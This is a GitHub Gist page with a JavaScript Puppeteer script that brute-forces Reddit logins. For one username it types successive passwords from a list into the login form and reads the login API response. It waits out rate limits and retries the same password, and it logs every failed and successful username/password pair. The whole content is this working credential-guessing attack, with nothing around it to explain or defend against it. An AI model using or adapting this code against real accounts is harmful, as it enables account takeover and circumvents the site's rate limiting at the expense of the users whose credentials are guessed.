Last active
May 19, 2019 03:35
-
-
Save davidgilbertson/4ab03e58eccf9b2cfe541e601c56044f to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const signIn = async (username) => { | |
let currentPasswordIndex = 0; | |
const browser = await puppeteer.launch(); | |
const page = await browser.newPage(); | |
await page.goto('https://www.reddit.com/login'); | |
// Runs once for each username/password combo | |
const tryPassword = async () => { | |
const password = PASSWORDS[currentPasswordIndex]; | |
await page.type('#user_login', username); | |
await page.type('#passwd_login', password); | |
await page.click('#login-form button[type=submit]'); | |
}; | |
page.on('requestfinished', async request => { | |
const thisPassword = PASSWORDS[currentPasswordIndex]; | |
if (request.url().includes('/api/login/')) { | |
const response = await request.response(); | |
const responseData = await response.json(); | |
if (isWrongPassword(responseData)) { | |
console.log(`✘ ${username}/${thisPassword}`); | |
// try the next password | |
currentPasswordIndex += 1; | |
await tryPassword(); | |
} else if (isRateLimited(responseData)) { | |
// wait a bit | |
await page.waitFor(getRateLimit(responseData)); | |
// then try the same password again | |
await tryPassword(); | |
} | |
} | |
}); | |
await tryPassword(); | |
await page.waitForNavigation({ timeout : 7000 }) | |
.then(() => { | |
// If the page navigates, it means the sign in was a success | |
console.log(`✓ ${username}/${PASSWORDS[currentPasswordIndex]}`); | |
}) | |
.catch(() => { | |
// If waitForNavigation times out (wrong password) it throws | |
// But I don't care because I've already logged the wrong passwords | |
}); | |
await browser.close(); | |
}; |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment